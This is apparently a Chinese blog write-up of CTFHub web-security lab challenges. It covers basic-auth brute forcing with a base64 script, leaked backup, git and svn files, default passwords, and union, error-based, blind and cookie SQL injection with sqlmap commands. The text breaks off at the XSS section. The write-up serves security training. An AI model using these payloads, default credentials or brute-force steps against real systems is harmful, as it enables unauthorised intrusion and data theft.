CTFHub通关

WEB

WEB前置技能

HTTP协议

请求方式
302跳转
Cookie
基础认证

访问URL,可以看到点击登录界面,采用基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。基本认证原理可查看点击此处查看。
拦截登录时的数据请求,可以看到响应包返回的Do u know admin?,可知用户为admin,如下图所示:
Basic认证
再根据题目中提供的通用密码top_100,即可进行暴力破解,但此处暴力破解设置需要加前缀admin:,以及进行base64编码,可在burp中设置规则,如下图所示:
设置爆破变量
爆破规则设置
进行爆破后可看到有一条响应长度不同,点击查看,发现flag
爆破出flag
在这里说一个尴尬的事情,因为不知道burp的intruder可以添加前缀词然后再加密,我就自己写了个python脚本,代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import sys
import base64
file = open(r'./10_million_password_list_top_100.txt')
lines = file.read()
for str in lines.split("\n"):
	a = 'admin:' + str
	b = base64.b64encode(a)
	print b

代码运行过程还报错,报错信息AttributeError: ‘module’ object has no attribute ‘b64encode’
批量base64加密脚本
出现这个问题是因为脚本命名与base64重叠了,修改脚本名为其他名字即可

响应包源代码

信息泄露

目录遍历

点击开始寻找flag,然后会看到目录页面,逐个文件夹点击查看,可发现flag.txt
目录遍历

phpinfo

直接点击查看phpinfo
主页面
然后可以查看到phpinfo信息,搜索flag,即可发现flag
phpinfo-flag

备份文件下载

网站源码

点开题目链接后,可以看到常见网站源码备份文件的后缀和本份文件名,可以使用burp进行暴力破解,如下图所示
暴力破解
变量就设置为提示中对应的,然后可以看到www.zip的响应比较长
爆破出压缩文件
访问这个地址后,可以下载到一个压缩文件
在这里插入图片描述
解压缩后,获得三个文件,html文件没有什么内容,
在这里插入图片描述
flag的文本文件内无flag
在这里插入图片描述
然后就被困住了,换个思路,php开发的网站通常以www目录下的文件为访问路径,所以这里以网站方式打开txt文件,即可查看到flag
在这里插入图片描述

bak文件

访问题目链接,发现页面显示flag在index.php源代码中
1
访问index.php查看源代码,未发现flag
2
想起这个题目叫做bak文件,所以访问index.php.bak,发现有备份文件可下载
3
下载后打开即可看到flag
在这里插入图片描述

vim缓存

vim编辑器缓存这个知识点涉及我的盲区了,然后百度一查就知道缓存文件的后缀,点击此处vim编辑器的使用可查看有关vim的知识点。
vim崩溃缓存文件
在linux环境下,使用vim -r 恢复打开文件,即可看到flag
linux下查看文件

.DS_store

直接访问.DS_store出现下载
在这里插入图片描述
下载后发现是二进制文件,使用010editor打开,可看到flag here!字样
在这里插入图片描述
然后访问.txt即可获得flag
在这里插入图片描述

Git泄露

Log

使用GitHacker获取git泄露情况,然后使用git log查看还原信息,再使用git diff进行比较获得flag。啊啊啊啊啊啊(土拨鼠叫),这是什么操作,我只能说我是个门外汉,没有感情的搬运机器,此处参照这里
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Stash

使用githacker获取git泄露情况,然后进入.git目录下,使用git log查看还原信息,查看.git/refs/stash,可看到字符串,再使用git diff 字符串即可得到flag
在这里插入图片描述
在这里插入图片描述

Index

依然使用githacker,然后可以用以上的方式git log,也可以使用git checkout,可看到一个txt文件,查看即得flag
在这里插入图片描述
在这里插入图片描述

svn泄露

工具git clone https://github.com/kost/dvcs-ripper
安装sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
使用方法./rip-svn.pl -v -u URL/.svn/
我安装失败了!!!

密码口令

弱口令

可以在前端源码中猜测到用户应该是admin,这样我们只需对密码进行爆破就好
在这里插入图片描述
在这里插入图片描述

默认口令

这里使用默认口令就好,一些平台的默认口令点这里,我登录时使用的是eyougw/admin@(eyou)
在这里插入图片描述

SQL注入

整数型注入

sql语句作用
select * from news where id=1 order by 1猜解字段数,有数据返回则该数据库字段数为多少
select * from news where id=1 and 1=2 union select 1,database()union联合查询,database()查询数据库名
select * from news where id=1 and 1=2 union select 1,group_concat(table_name)from information.schema.tables where table_schema=‘sqli’table_name表名,table_schema数据库名,information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,该库中存储一些表,如tables表,columns表等
select * from news where id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’column_name列名
select * from news where id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag根据数据库的表获得flag字段中的内容

在这里插入图片描述

字符型注入

这里字符注入需要注意一点就是闭合,直接用‘无法闭合,需要url编码使用%27,还可以使用sqlmap进行注入

python sqlmap.py -u url?id=1%27 --tables #爆破表名
python sqlmap.py -u url?id=1%27 -T flag --columns --dump #爆破flag表里的所有列及字段值

在这里插入图片描述
在这里插入图片描述

报错注入

floor()函数   的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分
rand()函数    可以用来生成01,但是rand(0)rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成
group by      进行分组查询的时候,数据库会生成一张虚拟表,在虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。
按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
  1. sqlmap注入
python sqlmap.py -u url --tables
python sqlmap.py -u http://challenge-d5f9655a4e88c44d.sandbox.ctfhub.com:10080/?id=1%27 -T flag --columns --dump
  1. 手工注入
    报错注入
    双查询注入
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

布尔盲注

布尔盲注回显error :数据库查询结果为空或者查询语句报错,回显error。(通常and后面布尔盲注语句就不行了,因为> 它们是根据查询结果为空来判断。)
布尔盲注回显success :数据库查询为空,返回还是success,只有当查询语句报错时才返回error。子查询返回的结果必> 须只有一条记录,否则会报错。

时间盲注和MySQL结构都是用sqlmap跑出来的,sqlmap真香

?id=if(1=1,1,(select table_name from information_schema.tables))
?id=if(1=2,1,(select table_name from information_schema.tables))

同样这个可以使用sqlmap
在这里插入图片描述

Cookie注入

这里注入也是sqlmap,就是带的参数不同

python sqlmap.py -u "http://challenge-9060429b3d3a0e25.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 --dbs
python sqlmap.py -u "http://challenge-9060429b3d3a0e25.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 -D sqli --tables
python sqlmap.py -u "http://challenge-9060429b3d3a0e25.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 -D sqli -T 表名 --columns --dump

在这里插入图片描述

xss

反射型

  • 12
    点赞
  • 66
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值